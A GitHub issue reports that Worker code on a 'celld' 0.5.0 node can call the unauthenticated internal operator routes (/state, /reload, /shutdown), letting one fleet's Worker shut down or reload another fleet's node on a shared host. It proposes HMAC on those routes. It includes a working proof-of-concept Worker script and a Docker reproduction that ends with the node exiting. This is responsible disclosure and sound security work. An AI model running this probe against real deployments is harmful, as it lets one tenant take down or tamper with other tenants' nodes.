Skip to content

Operator routes are reachable from Worker code across fleets sharing a host #220

Description

@sandros94

I'm mostly making sure to follow the limits and security practices.

docs/security.md says the application is trusted within its own fleet, and that a trusted private network protects the internal listener. I think there is a gap between the two: a Worker's outbound fetch starts on the node, so it is already inside that network.

From a deployed Worker, against celld 0.5.0:

request answer
GET http://127.0.0.1:<internal>/state 200, the node state
POST http://127.0.0.1:<internal>/reload 200, "outcome":"adopted"
POST http://127.0.0.1:<internal>/shutdown 200 {"ok":true}, and the node drains and exits

For a single fleet this is within the security model, the app is trusted there. But the fleet is also the isolation unit ("do not run code from mutually distrusting tenants in one fleet"), and two fleets can share a host or a private network. In that setup the Worker of fleet A can /shutdown, /evict or /reload a node of fleet B, since the operator routes carry no authentication at all.

Would you consider requiring the fleet HMAC on the operator routes too, like the peer-control routes already do? A Worker holds no bucket credentials, so it could never read another fleet's fleet/peer-auth.json, and nothing changes for a fleet's own operators.

Reproduction

A simple celld + SeaweedFS, in Docker. With a app/wrangler.jsonc as test:

{ "name": "probe", "main": "index.js", "compatibility_date": "2026-01-01", "no_bundle": true }

app/index.js:

const TARGETS = [
  ["GET", "http://127.0.0.1:8081/state"],
  ["POST", "http://127.0.0.1:8081/reload"],
  ["POST", "http://127.0.0.1:8081/shutdown"],
];
export default {
  async fetch() {
    const out = {};
    for (const [method, target] of TARGETS) {
      try {
        const r = await fetch(target, { method, signal: AbortSignal.timeout(3000) });
        out[`${method} ${target}`] = `${r.status} ${(await r.text()).slice(0, 60)}`;
      } catch (e) { out[`${method} ${target}`] = `ERR ${String(e).slice(0, 80)}`; }
    }
    return Response.json(out);
  },
};

repro.sh, next to app/:

CELLD=ghcr.io/denoland/celld:0.5.0
CREDS="-e AWS_ACCESS_KEY_ID=any -e AWS_SECRET_ACCESS_KEY=any -e AWS_REGION=us-east-1"
docker network create probe
docker run -d --name s3 --network probe chrislusf/seaweedfs:4.42 server -s3
sleep 15
docker run --rm --network probe curlimages/curl -s -X PUT http://s3:8333/fleet
docker run --rm --network probe $CREDS -v "$PWD/app:/app:ro" -w /app $CELLD \
  deploy --bucket fleet/probe --endpoint http://s3:8333
docker run -d --name node --network probe $CREDS $CELLD \
  --bucket fleet/probe --endpoint http://s3:8333 \
  --listen 0.0.0.0:8080 --internal-listen 0.0.0.0:8081 --advertise node:8081
sleep 20
docker run --rm --network probe curlimages/curl -s http://node:8080/
sleep 10
docker ps -a --filter name=node   # Exited (0)

What the Worker answers:

{
  "GET http://127.0.0.1:8081/state": "200 {\"activating\":0,\"activation_waiting\":0,\"adopting\":0,\"capacit",
  "POST http://127.0.0.1:8081/reload": "200 {\"generation\":2,\"ok\":true,\"outcome\":\"adopted\",\"prefix\":\"depl",
  "POST http://127.0.0.1:8081/shutdown": "200 {\"ok\":true}"
}

and ten seconds later docker ps -a shows node Exited (0).

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions